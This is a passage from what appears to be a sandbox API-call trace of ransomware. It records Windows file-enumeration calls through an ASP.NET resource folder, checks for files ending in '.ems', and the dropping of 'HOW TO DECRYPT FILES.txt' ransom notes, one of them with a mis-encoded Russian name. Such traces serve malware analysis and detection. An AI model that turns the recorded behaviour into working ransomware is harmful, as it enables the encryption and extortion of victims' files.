to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.160] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.161] CloseHandle (hObject=0x94) returned 1 [0137.161] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="default.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\default.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\default.aspx.resx" [0137.161] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\default.aspx.resx", pszSpec="*.ems") returned 0 [0137.161] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec999a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="error.aspx.resx", cAlternateFileName="ERRORA~1.RES")) returned 1 [0137.161] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.161] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="error.aspx.resx") returned -1 [0137.161] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="error.aspx.resx") returned 1 [0137.161] lstrcmpiA (lpString1="", lpString2="error.aspx.resx") returned -1 [0137.161] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\default.aspx.resx") returned="default.aspx.resx" [0137.161] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.161] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.161] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.161] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.162] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="error.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\error.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\error.aspx.resx" [0137.162] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\error.aspx.resx", pszSpec="*.ems") returned 0 [0137.162] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="home0.aspx.resx", cAlternateFileName="HOME0A~1.RES")) returned 1 [0137.162] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.162] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home0.aspx.resx") returned -1 [0137.162] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home0.aspx.resx") returned 1 [0137.162] lstrcmpiA (lpString1="", lpString2="home0.aspx.resx") returned -1 [0137.162] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\error.aspx.resx") returned="error.aspx.resx" [0137.162] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.162] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.162] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.162] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.162] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="home0.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home0.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home0.aspx.resx" [0137.162] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home0.aspx.resx", pszSpec="*.ems") returned 0 [0137.163] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="home1.aspx.resx", cAlternateFileName="HOME1A~1.RES")) returned 1 [0137.163] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.163] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home1.aspx.resx") returned -1 [0137.163] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home1.aspx.resx") returned 1 [0137.163] lstrcmpiA (lpString1="", lpString2="home1.aspx.resx") returned -1 [0137.163] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home0.aspx.resx") returned="home0.aspx.resx" [0137.163] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.163] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.163] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.163] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.163] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="home1.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home1.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home1.aspx.resx" [0137.163] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home1.aspx.resx", pszSpec="*.ems") returned 0 [0137.163] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed7e1e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="home2.aspx.resx", cAlternateFileName="HOME2A~1.RES")) returned 1 [0137.163] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.163] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home2.aspx.resx") returned -1 [0137.163] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home2.aspx.resx") returned 1 [0137.163] lstrcmpiA (lpString1="", lpString2="home2.aspx.resx") returned -1 [0137.163] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home1.aspx.resx") returned="home1.aspx.resx" [0137.164] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.164] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.164] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.164] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.164] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="navigationBar.ascx.resx", cAlternateFileName="NAVIGA~1.RES")) returned 1 [0137.164] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.164] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="navigationBar.ascx.resx") returned -1 [0137.164] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="navigationBar.ascx.resx") returned -1 [0137.164] lstrcmpiA (lpString1="", lpString2="navigationBar.ascx.resx") returned -1 [0137.164] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\home2.aspx.resx") returned="home2.aspx.resx" [0137.164] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.164] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.165] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2e1a, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="WebAdminHelp.aspx.resx", cAlternateFileName="WEBADM~2.RES")) returned 1 [0137.165] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp.aspx.resx") returned -1 [0137.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp.aspx.resx") returned -1 [0137.165] lstrcmpiA (lpString1="", lpString2="WebAdminHelp.aspx.resx") returned -1 [0137.165] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\navigationBar.ascx.resx") returned="navigationBar.ascx.resx" [0137.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.165] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.165] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x570e, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="WebAdminHelp_Application.aspx.resx", cAlternateFileName="WEBADM~1.RES")) returned 1 [0137.165] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Application.aspx.resx") returned -1 [0137.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Application.aspx.resx") returned -1 [0137.165] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Application.aspx.resx") returned -1 [0137.165] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp.aspx.resx") returned="WebAdminHelp.aspx.resx" [0137.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.165] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.166] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x18c9, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="WebAdminHelp_Internals.aspx.resx", cAlternateFileName="WEBADM~3.RES")) returned 1 [0137.166] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.166] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Internals.aspx.resx") returned -1 [0137.166] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Internals.aspx.resx") returned -1 [0137.166] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Internals.aspx.resx") returned -1 [0137.166] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Application.aspx.resx") returned="WebAdminHelp_Application.aspx.resx" [0137.166] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.166] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.166] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2924, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="WebAdminHelp_Provider.aspx.resx", cAlternateFileName="WEBADM~4.RES")) returned 1 [0137.166] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.166] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Provider.aspx.resx") returned -1 [0137.166] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Provider.aspx.resx") returned -1 [0137.166] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Provider.aspx.resx") returned -1 [0137.166] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Internals.aspx.resx") returned="WebAdminHelp_Internals.aspx.resx" [0137.167] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.167] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.167] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x472d, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="WebAdminHelp_Security.aspx.resx", cAlternateFileName="WE463C~1.RES")) returned 1 [0137.167] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.167] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Security.aspx.resx") returned -1 [0137.167] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Security.aspx.resx") returned -1 [0137.167] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Security.aspx.resx") returned -1 [0137.167] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Provider.aspx.resx") returned="WebAdminHelp_Provider.aspx.resx" [0137.167] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" [0137.167] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\") returned="" [0137.167] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x472d, dwReserved0=0x5c0073, dwReserved1=0x4f0048, cFileName="WebAdminHelp_Security.aspx.resx", cAlternateFileName="WE463C~1.RES")) returned 0 [0137.167] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.168] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, 